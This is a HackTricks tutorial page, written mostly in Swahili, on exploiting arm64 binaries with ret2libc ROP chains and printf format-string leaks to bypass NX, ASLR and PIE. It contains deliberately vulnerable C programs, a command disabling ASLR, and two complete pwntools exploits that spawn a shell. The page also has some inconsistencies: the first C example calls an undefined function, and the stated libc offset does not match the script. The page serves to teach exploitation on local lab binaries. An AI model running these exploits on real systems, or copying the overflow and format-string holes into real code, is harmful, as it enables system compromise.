Ret2lib + Printf leak - arm64

Support HackTricks

Ret2lib - NX bypass na ROP (hakuna ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Kusanya bila canary:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Find offset

x30 offset

Kuunda muundo na pattern create 200, tukitumia hiyo, na kuangalia kwa offset na pattern search $x30 tunaweza kuona kwamba offset ni 108 (0x6c).

Tukiangalia kazi kuu iliyotafsiriwa tunaweza kuona kwamba tungependa jump kwa maagizo ya kuruka kwa printf moja kwa moja, ambayo offset kutoka mahali ambapo binary imepakuliwa ni 0x860:

Find system and /bin/sh string

Kwa kuwa ASLR imezimwa, anwani zitakuwa kila wakati sawa:

Find Gadgets

Tunahitaji kuwa na katika x0 anwani ya string /bin/sh na kuita system.

Kwa kutumia rooper gadget ya kuvutia ilipatikana:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Hii gadget itapakia x0 kutoka $sp + 0x18 na kisha itapakia anwani x29 na x30 kutoka sp na kuruka kwa x30. Hivyo na gadget hii tunaweza kudhibiti hoja ya kwanza na kisha kuruka kwa system.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - NX, ASL & PIE bypass na printf leaks kutoka kwenye stack

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Compile bila canary:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE na ASLR lakini hakuna canary

  • Mzunguko 1:

  • Kuvuja kwa PIE kutoka kwenye stack

  • Kunyanyua bof kurudi kwenye main

  • Mzunguko 2:

  • Kuvuja kwa libc kutoka kwenye stack

  • ROP: ret2system

Printf leaks

Kuweka breakpoint kabla ya kuita printf inawezekana kuona kwamba kuna anwani za kurudi kwenye binary kwenye stack na pia anwani za libc:

Kujaribu offsets tofauti, %21$p inaweza kuvuja anwani ya binary (PIE bypass) na %25$p inaweza kuvuja anwani ya libc:

Kupunguza anwani ya libc iliyovuja na anwani ya msingi ya libc, inawezekana kuona kwamba offset ya anwani iliyovuja kutoka kwenye msingi ni 0x49c40.

x30 offset

Tazama mfano wa awali kwani bof ni sawa.

Find Gadgets

Kama katika mfano wa awali, tunahitaji kuwa na katika x0 anwani ya string /bin/sh na kuita system.

Kwa kutumia rooper gadget nyingine ya kuvutia ilipatikana:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Hii gadget itapakia x0 kutoka $sp + 0x78 na kisha ipakie anwani x29 na x30 kutoka sp na kuruka kwa x30. Hivyo na gadget hii tunaweza kudhibiti hoja ya kwanza na kisha kuruka kwa system.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
Support HackTricks

Last updated